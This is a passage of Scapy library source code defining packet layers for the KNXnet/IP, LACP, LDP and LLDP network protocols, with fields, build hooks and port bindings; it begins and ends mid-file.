0x01, HOST_PROTOCOL_CODES), IPField("ip_address", None), ShortField("port", None) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay # DIB, KNX Standard v2.1 - 03_08_02 p22 class ServiceFamily(Packet): name = "Service Family" fields_desc = [ ByteField("id", None), ByteField("version", None) ] # Different DIB types depends on the "description_type_code" field # Defining a generic DIB packet and differentiating with `dispatch_hook` or # `MultipleTypeField` may better fit KNX specs class DIBDeviceInfo(Packet): name = "DIB: DEVICE_INFO" fields_desc = [ ByteField("structure_length", None), ByteEnumField("description_type", 0x01, DESCRIPTION_TYPE_CODES), ByteEnumField("knx_medium", 0x02, KNX_MEDIUM_CODES), ByteField("device_status", None), KNXAddressField("knx_address", None), ShortField("project_installation_identifier", None), XBitField("device_serial_number", None, 48), IPField("device_multicast_address", None), MACField("device_mac_address", None), StrFixedLenField("device_friendly_name", None, 30) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay class DIBSuppSvcFamilies(Packet): name = "DIB: SUPP_SVC_FAMILIES" fields_desc = [ ByteField("structure_length", 0x02), ByteEnumField("description_type", 0x02, DESCRIPTION_TYPE_CODES), ConditionalField( PacketListField("service_family", ServiceFamily(), ServiceFamily, length_from=lambda pkt: pkt.structure_length - 0x02), lambda pkt: pkt.structure_length > 0x02) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay # CRI and CRD, KNX Standard v2.1 - 03_08_02 p21 class TunnelingConnection(Packet): name = "Tunneling Connection" fields_desc = [ ByteField("knx_layer", 0x02), ByteField("reserved", None) ] class CRDTunnelingConnection(Packet): name = "CRD Tunneling Connection" fields_desc = [ KNXAddressField("knx_individual_address", None) ] class CRI(Packet): name = "CRI (Connection Request Information)" fields_desc = [ ByteField("structure_length", 0x02), ByteEnumField("connection_type", 0x03, CONNECTION_TYPE_CODES), ConditionalField(PacketField("connection_data", TunnelingConnection(), TunnelingConnection), lambda pkt: pkt.connection_type == 0x04) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay class CRD(Packet): name = "CRD (Connection Response Data)" fields_desc = [ ByteField("structure_length", 0x00), ByteEnumField("connection_type", 0x03, CONNECTION_TYPE_CODES), ConditionalField(PacketField("connection_data", CRDTunnelingConnection(), CRDTunnelingConnection), lambda pkt: pkt.connection_type == 0x04) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay # cEMI blocks class LcEMI(Packet): name = "L_cEMI" fields_desc = [ FieldLenField("additional_information_length", 0, fmt="B", length_of="additional_information"), StrLenField("additional_information", None, length_from=lambda pkt: pkt.additional_information_length), # Controlfield 1 (1 byte made of 8*1 bits) BitEnumField("frame_type", 1, 1, { 1: "standard" }), BitField("reserved_1", 0, 1), BitField("repeat_on_error", 1, 1), BitEnumField("broadcast_type", 1, 1, { 1: "domain" }), BitEnumField("priority", 3, 2, { 3: "low" }), BitField("ack_request", 0, 1), BitField("confirmation_error", 0, 1), # Controlfield 2 (1 byte made of 1+3+4 bits) BitEnumField("address_type", 1, 1, { 1: "group" }), BitField("hop_count", 6, 3), BitField("extended_frame_format", 0, 4), KNXAddressField("source_address", None), KNXGroupField("destination_address", "1/2/3"), FieldLenField("npdu_length", 0x01, fmt="B", length_of="data"), # TPCI and APCI (2 byte made of 1+1+4+4+6 bits) BitEnumField("packet_type", 0, 1, { 0: "data" }), BitEnumField("sequence_type", 0, 1, { 0: "unnumbered" }), BitField("reserved_2", 0, 4), BitEnumField("acpi", 2, 4, KNX_ACPI_CODES), BitField("data", 0, 6) ] class DPcEMI(Packet): name = "DP_cEMI" fields_desc = [ # see if best representation is str or hex ShortField("object_type", None), ByteField("object_instance", 1), ByteField("property_id", None), BitField("number_of_elements", 1, 4), BitField("start_index", None, 12) ] class CEMI(Packet): name = "CEMI" fields_desc = [ ByteEnumField("message_code", None, MESSAGE_CODES), MultipleTypeField( [ (PacketField("cemi_data", LcEMI(), LcEMI), lambda pkt: pkt.message_code == 0x11), (PacketField("cemi_data", LcEMI(), LcEMI), lambda pkt: pkt.message_code == 0x2e), (PacketField("cemi_data", DPcEMI(), DPcEMI), lambda pkt: pkt.message_code == 0xFC), (PacketField("cemi_data", DPcEMI(), DPcEMI), lambda pkt: pkt.message_code == 0xFB), (PacketField("cemi_data", DPcEMI(), DPcEMI), lambda pkt: pkt.message_code == 0xF6), (PacketField("cemi_data", DPcEMI(), DPcEMI), lambda pkt: pkt.message_code == 0xF5) ], PacketField("cemi_data", LcEMI(), LcEMI) ) ] # KNX SERVICES # KNX Standard v2.1 - 03_08_02 p28 class KNXSearchRequest(Packet): name = "SEARCH_REQUEST", fields_desc = [ PacketField("discovery_endpoint", HPAI(), HPAI) ] # KNX Standard v2.1 - 03_08_02 p28 class KNXSearchResponse(Packet): name = "SEARCH_RESPONSE", fields_desc = [ PacketField("control_endpoint", HPAI(), HPAI), PacketField("device_info", DIBDeviceInfo(), DIBDeviceInfo), PacketField("supported_service_families", DIBSuppSvcFamilies(), DIBSuppSvcFamilies) ] # KNX Standard v2.1 - 03_08_02 p29 class KNXDescriptionRequest(Packet): name = "DESCRIPTION_REQUEST" fields_desc = [ PacketField("control_endpoint", HPAI(), HPAI) ] # KNX Standard v2.1 - 03_08_02 p29 class KNXDescriptionResponse(Packet): name = "DESCRIPTION_RESPONSE" fields_desc = [ PacketField("device_info", DIBDeviceInfo(), DIBDeviceInfo), PacketField("supported_service_families", DIBSuppSvcFamilies(), DIBSuppSvcFamilies) # TODO: this is an optional field in KNX specs, # => Add conditions to take it into account # PacketField("other_device_info", DIBDeviceInfo(), DIBDeviceInfo) ] # KNX Standard v2.1 - 03_08_02 p30 class KNXConnectRequest(Packet): name = "CONNECT_REQUEST" fields_desc = [ PacketField("control_endpoint", HPAI(), HPAI), PacketField("data_endpoint", HPAI(), HPAI), PacketField("connection_request_information", CRI(), CRI) ] # KNX Standard v2.1 - 03_08_02 p31 class KNXConnectResponse(Packet): name = "CONNECT_RESPONSE" fields_desc = [ ByteField("communication_channel_id", None), ByteField("status", None), PacketField("data_endpoint", HPAI(), HPAI), PacketField("connection_response_data_block", CRD(), CRD) ] # KNX Standard v2.1 - 03_08_02 p32 class KNXConnectionstateRequest(Packet): name = "CONNECTIONSTATE_REQUEST" fields_desc = [ ByteField("communication_channel_id", None), ByteField("reserved", None), PacketField("control_endpoint", HPAI(), HPAI) ] # KNX Standard v2.1 - 03_08_02 p32 class KNXConnectionstateResponse(Packet): name = "CONNECTIONSTATE_RESPONSE" fields_desc = [ ByteField("communication_channel_id", None), ByteField("status", 0x00) ] # KNX Standard v2.1 - 03_08_02 p33 class KNXDisconnectRequest(Packet): name = "DISCONNECT_REQUEST" fields_desc = [ ByteField("communication_channel_id", 0x01), ByteField("reserved", None), PacketField("control_endpoint", HPAI(), HPAI) ] # KNX Standard v2.1 - 03_08_02 p34 class KNXDisconnectResponse(Packet): name = "DISCONNECT_RESPONSE" fields_desc = [ ByteField("communication_channel_id", None), ByteField("status", 0x00) ] # KNX Standard v2.1 - 03_08_03 p22 class KNXConfigurationRequest(Packet): name = "CONFIGURATION_REQUEST" fields_desc = [ ByteField("structure_length", 0x04), ByteField("communication_channel_id", 0x01), ByteField("sequence_counter", None), ByteField("reserved", None), PacketField("cemi", CEMI(), CEMI) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p[:4])) + p[1:] return p + pay # KNX Standard v2.1 - 03_08_03 p22 class KNXConfigurationACK(Packet): name = "CONFIGURATION_ACK" fields_desc = [ ByteField("structure_length", None), ByteField("communication_channel_id", 0x01), ByteField("sequence_counter", None), ByteField("status", None) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay # KNX Standard v2.1 - 03_08_04 p.17 class KNXTunnelingRequest(Packet): name = "TUNNELING_REQUEST" fields_desc = [ ByteField("structure_length", 0x04), ByteField("communication_channel_id", 0x01), ByteField("sequence_counter", None), ByteField("reserved", None), PacketField("cemi", CEMI(), CEMI) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p[:4])) + p[1:] return p + pay # KNX Standard v2.1 - 03_08_04 p.18 class KNXTunnelingACK(Packet): name = "TUNNELING_ACK" fields_desc = [ ByteField("structure_length", None), ByteField("communication_channel_id", 0x01), ByteField("sequence_counter", None), ByteField("status", None) ] def post_build(self, p, pay): if self.structure_length is None: p = struct.pack("!B", len(p)) + p[1:] return p + pay # KNX FRAME # we made the choice to define a KNX service as a payload for a KNX Header # it could also be possible to define the body as a conditional PacketField # contained after header class KNX(Packet): name = "KNXnet/IP" fields_desc = [ ByteField("header_length", None), XByteField("protocol_version", 0x10), ShortEnumField("service_identifier", None, SERVICE_IDENTIFIER_CODES), ShortField("total_length", None) ] def post_build(self, p, pay): # computes header_length if self.header_length is None: p = struct.pack("!B", len(p)) + p[1:] # computes total_length if self.total_length is None: p = p[:-2] + struct.pack("!H", len(p) + len(pay)) return p + pay # LAYERS BINDING bind_bottom_up(UDP, KNX, dport=3671) bind_bottom_up(UDP, KNX, sport=3671) bind_layers(UDP, KNX, sport=3671, dport=3671) bind_layers(KNX, KNXSearchRequest, service_identifier=0x0201) bind_layers(KNX, KNXSearchResponse, service_identifier=0x0202) bind_layers(KNX, KNXDescriptionRequest, service_identifier=0x0203) bind_layers(KNX, KNXDescriptionResponse, service_identifier=0x0204) bind_layers(KNX, KNXConnectRequest, service_identifier=0x0205) bind_layers(KNX, KNXConnectResponse, service_identifier=0x0206) bind_layers(KNX, KNXConnectionstateRequest, service_identifier=0x0207) bind_layers(KNX, KNXConnectionstateResponse, service_identifier=0x0208) bind_layers(KNX, KNXDisconnectResponse, service_identifier=0x020A) bind_layers(KNX, KNXDisconnectRequest, service_identifier=0x0209) bind_layers(KNX, KNXConfigurationRequest, service_identifier=0x0310) bind_layers(KNX, KNXConfigurationACK, service_identifier=0x0311) bind_layers(KNX, KNXTunnelingRequest, service_identifier=0x0420) bind_layers(KNX, KNXTunnelingACK, service_identifier=0x0421) # we bind every layer to Padding in order to delete their payloads # (from https://github.com/secdev/scapy/issues/360) # we could also define a new Packet class with no payload and # inherit every KNX packet from it : # class _KNXBodyNoPayload(Packet): # # def extract_padding(self, s): # return b"", None bind_layers(HPAI, Padding) bind_layers(ServiceFamily, Padding) bind_layers(DIBDeviceInfo, Padding) bind_layers(DIBSuppSvcFamilies, Padding) bind_layers(TunnelingConnection, Padding) bind_layers(CRDTunnelingConnection, Padding) bind_layers(CRI, Padding) bind_layers(CRD, Padding) bind_layers(LcEMI, Padding) bind_layers(DPcEMI, Padding) bind_layers(CEMI, Padding) bind_layers(KNXSearchRequest, Padding) bind_layers(KNXSearchResponse, Padding) bind_layers(KNXDescriptionRequest, Padding) bind_layers(KNXDescriptionResponse, Padding) bind_layers(KNXConnectRequest, Padding) bind_layers(KNXConnectResponse, Padding) bind_layers(KNXConnectionstateRequest, Padding) bind_layers(KNXConnectionstateResponse, Padding) bind_layers(KNXDisconnectRequest, Padding) bind_layers(KNXDisconnectResponse, Padding) bind_layers(KNXConfigurationRequest, Padding) bind_layers(KNXConfigurationACK, Padding) bind_layers(KNXTunnelingRequest, Padding) bind_layers(KNXTunnelingACK, Padding) ================================================ FILE: scapy/contrib/lacp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Link Aggregation Control Protocol (LACP) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, MACField, ShortField, ByteEnumField, IntField, XStrFixedLenField # noqa: E501 from scapy.contrib.slowprot import SlowProtocol class LACP(Packet): name = "LACP" deprecated_fields = { "actor_port_numer": ("actor_port_number", "2.4.4"), "partner_port_numer": ("partner_port_number", "2.4.4"), "colletctor_reserved": ("collector_reserved", "2.4.4"), } fields_desc = [ ByteField("version", 1), ByteField("actor_type", 1), ByteField("actor_length", 20), ShortField("actor_system_priority", 0), MACField("actor_system", None), ShortField("actor_key", 0), ShortField("actor_port_priority", 0), ShortField("actor_port_number", 0), ByteField("actor_state", 0), XStrFixedLenField("actor_reserved", "", 3), ByteField("partner_type", 2), ByteField("partner_length", 20), ShortField("partner_system_priority", 0), MACField("partner_system", None), ShortField("partner_key", 0), ShortField("partner_port_priority", 0), ShortField("partner_port_number", 0), ByteField("partner_state", 0), XStrFixedLenField("partner_reserved", "", 3), ByteField("collector_type", 3), ByteField("collector_length", 16), ShortField("collector_max_delay", 0), XStrFixedLenField("collector_reserved", "", 12), ByteField("terminator_type", 0), ByteField("terminator_length", 0), XStrFixedLenField("reserved", "", 50), ] bind_layers(SlowProtocol, LACP, subtype=1) MARKER_TYPES = { 'Marker Request': 1, 'Marker Response': 2, } class MarkerProtocol(Packet): name = "MarkerProtocol" fields_desc = [ ByteField("version", 1), ByteEnumField("marker_type", 1, MARKER_TYPES), ByteField("marker_length", 16), ShortField("requester_port", 0), MACField("requester_system", None), IntField("requester_transaction_id", 0), XStrFixedLenField("marker_reserved", "", 2), ByteField("terminator_type", 0), ByteField("terminator_length", 0), XStrFixedLenField("reserved", 0, 90), ] bind_layers(SlowProtocol, MarkerProtocol, subtype=2) ================================================ FILE: scapy/contrib/ldp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2010 Florian Duraffourg # scapy.contrib.description = Label Distribution Protocol (LDP) # scapy.contrib.status = loads """ Label Distribution Protocol (LDP) http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz """ import struct from scapy.compat import orb from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import ( BitField, MayEnd, IPField, IntField, ShortField, StrField, XBitField, ) from scapy.layers.inet import UDP from scapy.layers.inet import TCP from scapy.config import conf from scapy.utils import inet_aton, inet_ntoa class _LDP_Packet(Packet): # Guess payload def guess_payload_class(self, p): LDPTypes = { 0x0001: LDPNotification, 0x0100: LDPHello, 0x0200: LDPInit, 0x0201: LDPKeepAlive, 0x0300: LDPAddress, 0x0301: LDPAddressWM, 0x0400: LDPLabelMM, 0x0401: LDPLabelReqM, 0x0404: LDPLabelARM, 0x0402: LDPLabelWM, 0x0403: LDPLabelRelM, } type = struct.unpack("!H", p[0:2])[0] type = type & 0x7fff if type == 0x0001 and struct.unpack("!H", p[2:4])[0] > 20: return LDP if type in LDPTypes: return LDPTypes[type] else: return conf.raw_layer def post_build(self, p, pay): if self.len is None: tmp_len = len(p) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay # Fields # # 3.4.1. FEC TLV class FecTLVField(StrField): islist = 1 def m2i(self, pkt, x): used = 0 x = x[4:] list = [] while x: # if x[0] == 1: # list.append('Wildcard') # else: # mask=orb(x[8*i+3]) # add=inet_ntoa(x[8*i+4:8*i+8]) mask = orb(x[3]) nbroctets = mask // 8 if mask % 8: nbroctets += 1 add = inet_ntoa(x[4:4 + nbroctets] + b"\x00" * (4 - nbroctets)) list.append((add, mask)) used += 4 + nbroctets x = x[4 + nbroctets:] return list def i2m(self, pkt, x): if not x: return b"" if isinstance(x, bytes): return x s = b"\x01\x00" tmp_len = 0 fec = b"" for o in x: fec += b"\x02\x00\x01" # mask length fec += struct.pack("!B", o[1]) # Prefix fec += inet_aton(o[0]) tmp_len += 8 s += struct.pack("!H", tmp_len) s += fec return s def size(self, s): """Get the size of this field""" tmp_len = 4 + struct.unpack("!H", s[2:4])[0] return tmp_len def getfield(self, pkt, s): tmp_len = self.size(s) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.4.2.1. Generic Label TLV class LabelTLVField(StrField): def m2i(self, pkt, x): return struct.unpack("!I", x[4:8])[0] def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x02\x00\x00\x04" s += struct.pack("!I", x) return s def size(self, s): """Get the size of this field""" tmp_len = 4 + struct.unpack("!H", s[2:4])[0] return tmp_len def getfield(self, pkt, s): tmp_len = self.size(s) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.4.3. Address List TLV class AddressTLVField(StrField): islist = 1 def m2i(self, pkt, x): nbr = struct.unpack("!H", x[2:4])[0] - 2 nbr //= 4 x = x[6:] list = [] for i in range(0, nbr): add = x[4 * i:4 * i + 4] list.append(inet_ntoa(add)) return list def i2m(self, pkt, x): if not x: return b"" if isinstance(x, bytes): return x tmp_len = 2 + len(x) * 4 s = b"\x01\x01" + struct.pack("!H", tmp_len) + b"\x00\x01" for o in x: s += inet_aton(o) return s def size(self, s): """Get the size of this field""" tmp_len = 4 + struct.unpack("!H", s[2:4])[0] return tmp_len def getfield(self, pkt, s): if not s: return s, [] tmp_len = self.size(s) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.4.6. Status TLV class StatusTLVField(StrField): islist = 1 def m2i(self, pkt, x): lst = [] statuscode = struct.unpack("!I", x[4:8])[0] lst.append((statuscode & 2**31) >> 31) lst.append((statuscode & 2**30) >> 30) lst.append(statuscode & 0x3FFFFFFF) lst.append(struct.unpack("!I", x[8:12])[0]) lst.append(struct.unpack("!H", x[12:14])[0]) return lst def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x03\x00" + struct.pack("!H", 10) statuscode = 0 if x[0] != 0: statuscode += 2**31 if x[1] != 0: statuscode += 2**30 statuscode += x[2] s += struct.pack("!I", statuscode) if len(x) > 3: s += struct.pack("!I", x[3]) else: s += b"\x00\x00\x00\x00" if len(x) > 4: s += struct.pack("!H", x[4]) else: s += b"\x00\x00" return s def getfield(self, pkt, s): tmp_len = 14 return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.5.2 Common Hello Parameters TLV class CommonHelloTLVField(StrField): islist = 1 def m2i(self, pkt, x): list = [] v = struct.unpack("!H", x[4:6])[0] list.append(v) flags = orb(x[6]) v = (flags & 0x80) >> 7 list.append(v) v = (flags & 0x40) >> 6 list.append(v) return list def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x04\x00\x00\x04" s += struct.pack("!H", x[0]) byte = 0 if x[1] == 1: byte += 0x80 if x[2] == 1: byte += 0x40 s += struct.pack("!B", byte) s += b"\x00" return s def getfield(self, pkt, s): tmp_len = 8 return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.5.3 Common Session Parameters TLV class CommonSessionTLVField(StrField): islist = 1 def m2i(self, pkt, x): lst = [struct.unpack("!H", x[6:8])[0]] octet = struct.unpack("B", x[8:9])[0] lst.append((octet & 2**7) >> 7) lst.append((octet & 2**6) >> 6) lst.append(struct.unpack("B", x[9:10])[0]) lst.append(struct.unpack("!H", x[10:12])[0]) lst.append(inet_ntoa(x[12:16])) lst.append(struct.unpack("!H", x[16:18])[0]) return lst def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x05\x00\x00\x0E\x00\x01" s += struct.pack("!H", x[0]) octet = 0 if x[1] != 0: octet += 2**7 if x[2] != 0: octet += 2**6 s += struct.pack("!B", octet) s += struct.pack("!B", x[3]) s += struct.pack("!H", x[4]) s += inet_aton(x[5]) s += struct.pack("!H", x[6]) return s def getfield(self, pkt, s): tmp_len = 18 return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # Messages # # 3.5.1. Notification Message class LDPNotification(_LDP_Packet): name = "LDPNotification" fields_desc = [BitField("u", 0, 1), BitField("type", 0x0001, 15), ShortField("len", None), IntField("id", 0), StatusTLVField("status", (0, 0, 0, 0, 0))] # 3.5.2. Hello Message class LDPHello(_LDP_Packet): name = "LDPHello" fields_desc = [BitField("u", 0, 1), BitField("type", 0x0100, 15), ShortField("len", None), IntField("id", 0), CommonHelloTLVField("params", [180, 0, 0])] # 3.5.3. Initialization Message class LDPInit(_LDP_Packet): name = "LDPInit" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0200, 15), ShortField("len", None), IntField("id", 0), CommonSessionTLVField("params", None)] # 3.5.4. KeepAlive Message class LDPKeepAlive(_LDP_Packet): name = "LDPKeepAlive" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0201, 15), ShortField("len", None), IntField("id", 0)] # 3.5.5. Address Message class LDPAddress(_LDP_Packet): name = "LDPAddress" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0300, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address", None)] # 3.5.6. Address Withdraw Message class LDPAddressWM(_LDP_Packet): name = "LDPAddressWM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0301, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address", None)] # 3.5.7. Label Mapping Message class LDPLabelMM(_LDP_Packet): name = "LDPLabelMM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0400, 15), ShortField("len", None), IntField("id", 0), MayEnd(FecTLVField("fec", None)), LabelTLVField("label", 0)] # 3.5.8. Label Request Message class LDPLabelReqM(_LDP_Packet): name = "LDPLabelReqM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0401, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None)] # 3.5.9. Label Abort Request Message class LDPLabelARM(_LDP_Packet): name = "LDPLabelARM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0404, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None), IntField("labelRMid", 0)] # 3.5.10. Label Withdraw Message class LDPLabelWM(_LDP_Packet): name = "LDPLabelWM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0402, 15), ShortField("len", None), IntField("id", 0), MayEnd(FecTLVField("fec", None)), LabelTLVField("label", 0)] # 3.5.11. Label Release Message class LDPLabelRelM(_LDP_Packet): name = "LDPLabelRelM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0403, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None), LabelTLVField("label", 0)] # 3.1. LDP PDUs class LDP(_LDP_Packet): name = "LDP" fields_desc = [ShortField("version", 1), ShortField("len", None), IPField("id", "127.0.0.1"), ShortField("space", 0)] def post_build(self, p, pay): pay = pay or b"" if self.len is None: tmp_len = len(p) + len(pay) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay bind_bottom_up(TCP, LDP, sport=646) bind_bottom_up(TCP, LDP, dport=646) bind_bottom_up(TCP, UDP, sport=646) bind_bottom_up(TCP, UDP, dport=646) bind_layers(TCP, LDP, sport=646, dport=646) bind_layers(UDP, LDP, sport=646, dport=646) ================================================ FILE: scapy/contrib/lldp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Link Layer Discovery Protocol (LLDP) # scapy.contrib.status = loads """ LLDP - Link Layer Discovery Protocol ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :description: This module provides Scapy layers for the LLDP protocol. normative references: - IEEE 802.1AB 2016 - LLDP protocol, topology and MIB description :TODO: - | organization specific TLV e.g. ProfiNet | (see LLDPDUGenericOrganisationSpecific for a starting point) - Ignore everything after EndofLLDPDUTLV :NOTES: - you can find the layer configuration options at the end of this file - default configuration enforces standard conform: * | frame structure | (ChassisIDTLV/PortIDTLV/TimeToLiveTLV/...) * multiplicity of TLVs (if given by the standard) * min sizes of strings used by the TLVs - conf.contribs['LLDP'].strict_mode_disable() -> disable strict mode """ from scapy.config import conf from scapy.error import Scapy_Exception from scapy.layers.l2 import Ether, Dot1Q from scapy.fields import MACField, IPField, IP6Field, BitField, \ StrLenField, ByteEnumField, BitEnumField, \ EnumField, ThreeBytesField, BitFieldLenField, \ ShortField, XStrLenField, ByteField, ConditionalField, \ MultipleTypeField, FlagsField, ShortEnumField, ScalingField, \ BitScalingField from scapy.packet import Packet, bind_layers from scapy.data import ETHER_TYPES from scapy.compat import orb, bytes_int LLDP_NEAREST_BRIDGE_MAC = '01:80:c2:00:00:0e' LLDP_NEAREST_NON_TPMR_BRIDGE_MAC = '01:80:c2:00:00:03' LLDP_NEAREST_CUSTOMER_BRIDGE_MAC = '01:80:c2:00:00:00' LLDP_ETHER_TYPE = 0x88cc ETHER_TYPES[LLDP_ETHER_TYPE] = 'LLDP' class LLDPInvalidFieldValue(Scapy_Exception): """ field value is out of allowed range """ pass class LLDPInvalidFrameStructure(Scapy_Exception): """ basic frame structure not standard conform (missing TLV, invalid order or multiplicity) """ pass class LLDPMissingLowerLayer(Scapy_Exception): """ first layer below first LLDPDU must be Ethernet or Dot1q """ pass class LLDPInvalidTLVCount(Scapy_Exception): """ invalid number of entries for a specific TLV type """ pass class LLDPInvalidLengthField(Scapy_Exception): """ invalid value of length field """ pass class LLDPDU(Packet): """ base class for all LLDP data units """ TYPES = { 0x00: 'end of LLDPDU', 0x01: 'chassis id', 0x02: 'port id', 0x03: 'time to live', 0x04: 'port description', 0x05: 'system name', 0x06: 'system description', 0x07: 'system capabilities', 0x08: 'management address', 127: 'organisation specific TLV' } IANA_ADDRESS_FAMILY_NUMBERS = { 0x00: 'other', 0x01: 'IPv4', 0x02: 'IPv6', 0x03: 'NSAP', 0x04: 'HDLC', 0x05: 'BBN', 0x06: '802', 0x07: 'E.163', 0x08: 'E.164', 0x09: 'F.69', 0x0a: 'X.121', 0x0b: 'IPX', 0x0c: 'Appletalk', 0x0d: 'Decnet IV', 0x0e: 'Banyan Vines', 0x0f: 'E.164 with NSAP', 0x10: 'DNS', 0x11: 'Distinguished Name', 0x12: 'AS Number', 0x13: 'XTP over IPv4', 0x14: 'XTP over IPv6', 0x15: 'XTP native mode XTP', 0x16: 'Fiber Channel World-Wide Port Name', 0x17: 'Fiber Channel World-Wide Node Name', 0x18: 'GWID', 0x19: 'AFI for L2VPN', 0x1a: 'MPLS-TP Section Endpoint ID', 0x1b: 'MPLS-TP LSP Endpoint ID', 0x1c: 'MPLS-TP Pseudowire Endpoint ID', 0x1d: 'MT IP Multi-Topology IPv4', 0x1e: 'MT IP Multi-Topology IPv6' } DOT1Q_HEADER_LEN = 4 ETHER_HEADER_LEN = 14 ETHER_FSC_LEN = 4 ETHER_FRAME_MIN_LEN = 64 LAYER_STACK = [] LAYER_MULTIPLICITIES = {} def guess_payload_class(self, payload): # type is a 7-bit bitfield spanning bits 1..7 -> div 2 try: lldpdu_tlv_type = orb(payload[0]) // 2 class_type = LLDPDU_CLASS_TYPES.get(lldpdu_tlv_type, conf.raw_layer) if isinstance(class_type, list): for cls in class_type: if cls._match_organization_specific(payload): return cls else: return class_type except IndexError: return conf.raw_layer @staticmethod def _dot1q_headers_size(layer): """ calculate size of lower dot1q layers (if present) :param layer: the layer to start at :return: size of vlan headers, layer below lowest vlan header """ vlan_headers_size = 0 under_layer = layer while under_layer and isinstance(under_layer, Dot1Q): vlan_headers_size += LLDPDU.DOT1Q_HEADER_LEN under_layer = under_layer.underlayer return vlan_headers_size, under_layer def post_build(self, pkt, pay): under_layer = self.underlayer if under_layer is None: if conf.contribs['LLDP'].strict_mode(): raise LLDPMissingLowerLayer('No lower layer (Ethernet ' 'or Dot1Q) provided.') else: return pkt + pay if isinstance(under_layer, LLDPDU): return pkt + pay frame_size, under_layer = LLDPDU._dot1q_headers_size(under_layer) if not under_layer or not isinstance(under_layer, Ether): if conf.contribs['LLDP'].strict_mode(): raise LLDPMissingLowerLayer('No Ethernet layer provided.') else: return pkt + pay frame_size += LLDPDU.ETHER_HEADER_LEN frame_size += len(pkt) + len(pay) + LLDPDU.ETHER_FSC_LEN if frame_size < LLDPDU.ETHER_FRAME_MIN_LEN: return pkt + pay + b'\x00' * (LLDPDU.ETHER_FRAME_MIN_LEN - frame_size) # noqa: E501 return pkt + pay @staticmethod def _frame_structure_check(structure_description): """ check if the structure of the frame is conform to the basic frame structure defined by the standard :param structure_description: string-list reflecting LLDP-msg structure """ standard_frame_structure = [LLDPDUChassisID.__name__, LLDPDUPortID.__name__, LLDPDUTimeToLive.__name__, '<...>'] if len(structure_description) < 3: raise LLDPInvalidFrameStructure( 'Invalid frame structure.\ngot: {}\nexpected: ' '{}'.format(' '.join(structure_description), ' '.join(standard_frame_structure))) for idx, layer_name in enumerate(standard_frame_structure): if layer_name == '<...>': break if layer_name != structure_description[idx]: raise LLDPInvalidFrameStructure( 'Invalid frame structure.\ngot: {}\nexpected: ' '{}'.format(' '.join(structure_description), ' '.join(standard_frame_structure))) @staticmethod def _tlv_multiplicities_check(tlv_type_count): """ check if multiplicity of present TLVs conforms to the standard :param tlv_type_count: dict containing counte-per-TLV """ # * : 0..n, 1 : one and only one. standard_multiplicities = { LLDPDUEndOfLLDPDU.__name__: '*', LLDPDUChassisID.__name__: 1, LLDPDUPortID.__name__: 1, LLDPDUTimeToLive.__name__: 1, LLDPDUPortDescription: '*', LLDPDUSystemName: '*', LLDPDUSystemDescription: '*', LLDPDUSystemCapabilities: '*', LLDPDUManagementAddress: '*' } for tlv_type_name in standard_multiplicities: standard_tlv_multiplicity = \ standard_multiplicities[tlv_type_name] if standard_tlv_multiplicity == '*': continue try: if tlv_type_count[tlv_type_name] != standard_tlv_multiplicity: raise LLDPInvalidTLVCount( 'Invalid number of entries for TLV type ' '{} - expected {} entries, got ' '{}'.format(tlv_type_name, standard_tlv_multiplicity, tlv_type_count[tlv_type_name])) except KeyError: raise LLDPInvalidTLVCount('Missing TLV layer of type ' '{}.'.format(tlv_type_name)) def pre_dissect(self, s): if conf.contribs['LLDP'].strict_mode(): if self.__class__.__name__ == 'LLDPDU': LLDPDU.LAYER_STACK = [] LLDPDU.LAYER_MULTIPLICITIES = {} else: LLDPDU.LAYER_STACK.append(self.__class__.__name__) 